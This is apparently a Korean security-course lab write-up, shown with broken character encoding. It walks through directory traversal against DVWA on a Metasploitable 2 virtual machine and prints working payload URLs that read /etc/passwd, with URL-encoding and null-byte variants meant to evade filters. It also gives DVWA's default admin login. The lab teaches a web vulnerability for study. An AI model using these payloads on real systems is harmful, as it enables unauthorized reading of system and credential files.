! μ΄ ν¬μ€νΈμ λ΄μ©μ (2019λ ) μ 곡 κ°μμμ λ€λ£¬ 리λ μ€ λ³΄μ μ€μ΅μ κΈ°λ‘μ©μ΄λ©°, μ΄λ νμ΅ λͺ©μ μΌλ‘λ§ μ¬μ©λμ΄μΌ ν©λλ€.
! μ΄λ ν κ²½μ°μλ μ΄λ¬ν κΈ°μ μ μ μ©νκ±°λ λΆλ²μ μΈ νλμ μ¬μ©ν΄μλ μ λ©λλ€.
! λͺ¨μ ν΄νΉκ³Ό κ΄λ ¨λ μ€μ΅μ ν©λ²μ μΈ νκ²½μμλ§ μνλμ΄μΌ νλ©°, 무λ¨μΌλ‘ λ€λ₯Έ μ¬λμ μμ€ν μ μ κ·Όνλ λ±μ νμλ λ²μ μΈ λ¬Έμ λ‘ μ΄μ΄μ§ μ μμ΅λλ€. μ΄λ¬ν κΈ°μ μ μ¬μ©ν λμλ νμ μ€λ¦¬μ μΈ μ± μμ κ°κ³ νλν΄μΌ ν©λλ€.
1οΈβ£ λλ ν 리 μ΄λ 곡격 κ°μ
πΉ1. λλ ν 리 μ΄λ 곡격μ΄λ?
λλ ν 리 μ΄λ 곡격μ μΉ μ ν리μΌμ΄μ μ΄ μ¬μ©μ μ λ ₯μ μ λλ‘ κ²μ¦νμ§ μμ κ²½μ°, 곡격μκ° νμΌ μμ€ν λ΄μ λ―Όκ°ν νμΌμ μ κ·Όν μ μλλ‘ νλ μ·¨μ½μ μ΄λ€. μ΄ κ³΅κ²©μ ν΅ν΄ ``/etc/passwd``μ κ°μ μμ€ν νμΌμ μ½κ±°λ, μλ² λ΄μ μ€μν μ€μ νμΌμ μ μΆ ν μ μλ€.
2οΈβ£ μ€μ΅ νκ²½ κ΅¬μ± μ€λΉ
πΉ1. μ€μ΅ νκ²½ ꡬμ±
μ΄λ² μ€μ΅μμλ Metasploitableκ³Ό DVWAλ₯Ό νμ©νμ¬ λλ ν 리 μ΄λ 곡격μ μνν κ²μ΄λ€.
- ``Metasploitable 2``: μ·¨μ½ν μΉ μ ν리μΌμ΄μ μ΄ ν¬ν¨λ ν μ€νΈμ© κ°μ λ¨Έμ
- ``DVWA``: μΉ λ³΄μ ν μ€νΈλ₯Ό μν μ·¨μ½ν PHP κΈ°λ° μΉ μ ν리μΌμ΄μ
πΉ2. Metasploitable μΉ μλΉμ€ λλ ν 리 μ€μ νμΈ
- λ¨Όμ , Metasploitable μλ²μμ μΉ μλΉμ€ λλ ν 리 μ€μ μ νμΈν΄μΌ νλ€.
cat /etc/apache2/sites-enabled/000-default
- μ€μ νμΌμμ ``Indexes`` μ΅μ μ΄ νμ±νλμ΄ μμΌλ©΄, λλ ν 리 μ΄λ κ³΅κ²©μ΄ κ°λ₯ν μ μλ€.
- ``Indexes``: λλ ν 리 λ΄μ κΈ°λ³Έ μΈλ±μ€ νμΌ(index.html λ±)μ΄ μμ κ²½μ°, ν΄λΉ λλ ν 리μ νμΌ λͺ©λ‘μ μλμΌλ‘ λ ΈμΆμν¨λ€.
πΉ3. μΉ λ£¨νΈ λλ ν 리 νμ
- μΉ λ£¨νΈ λλ ν 리(/var/www)λ‘ μ΄λν ν λ΄λΆ νμΌ λ° ν΄λλ₯Ό νμΈνλ€.
- μ΄ κ³Όμ μμ ``dvwa`` λλ ν λ¦¬κ° μ‘΄μ¬νλ μ§ νμΈνλ€.
cd /var/www
ls -l
πΉ4. Metasploitableμ IP μ£Όμ νμΈ
- Metasploitableμ IP μ£Όμλ₯Ό νμΈνμ¬ μΉ μ ν리μΌμ΄μ μ μ κ·Όν μ€λΉλ₯Ό νλ€.
ifconfig
3οΈβ£ DVWA μ€μ λ° μ μ
πΉ1. DVWA μΉ νμ΄μ§ μ μ λ° μ€μ λ³κ²½
- λΈλΌμ°μ λ₯Ό μ΄κ³ ``Metasploitable``μ IP μ£Όμλ₯Ό μ λ ₯νμ¬ DVWA μ¬μ΄νΈμ μ μνλ€.
- λ‘κ·ΈμΈ νμ΄μ§μμ λ€μκ³Ό κ°μ΄ μ
λ ₯νμ¬ λ‘κ·ΈμΈνλ€.
- Username: ``admin``
- Password: ``password``
- λ‘κ·ΈμΈ ν 보μ λ 벨μ ``Low``λ‘ μ€μ νλ€.
4οΈβ£ λλ ν 리 μ΄λ 곡격 μ€μ΅
πΉ1. κΈ°λ³Έμ μΈ λλ ν 리 μ΄λ 곡격
- μ·¨μ½μ μ΄ μ‘΄μ¬νλ URLμμ λλ ν 리 μ΄λ 곡격μ μλνλ€.
http://[URL]/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
- μ΄ κ³΅κ²©μ ν΅ν΄ ``/etc/passwd`` νμΌμ μ κ·Όν μ μλ€.
πΉ2. URL μΈμ½λ©μ νμ©ν 곡격
- URL μΈμ½λ©μ μ μ©νμ¬ κ³΅κ²©μ΄ νμ§λμ§ μλλ‘ λ³νν μ μλ€.
http://[URL]/dvwa/vulnerabilities/fi/?page=%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/etc/passwd
πΉ3. Null λ°μ΄νΈ μ½μ 곡격
- μΌλΆ 보μ νν°λ₯Ό μ°ννκΈ° μν΄ ``null byte (%00)``μ μΆκ°νμ¬ κ³΅κ²©μ μλν μλ μλ€.
http://[URL]/dvwa/vulnerabilities/fi/?page=%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/%2E%2E%2F/etc/passwd%00html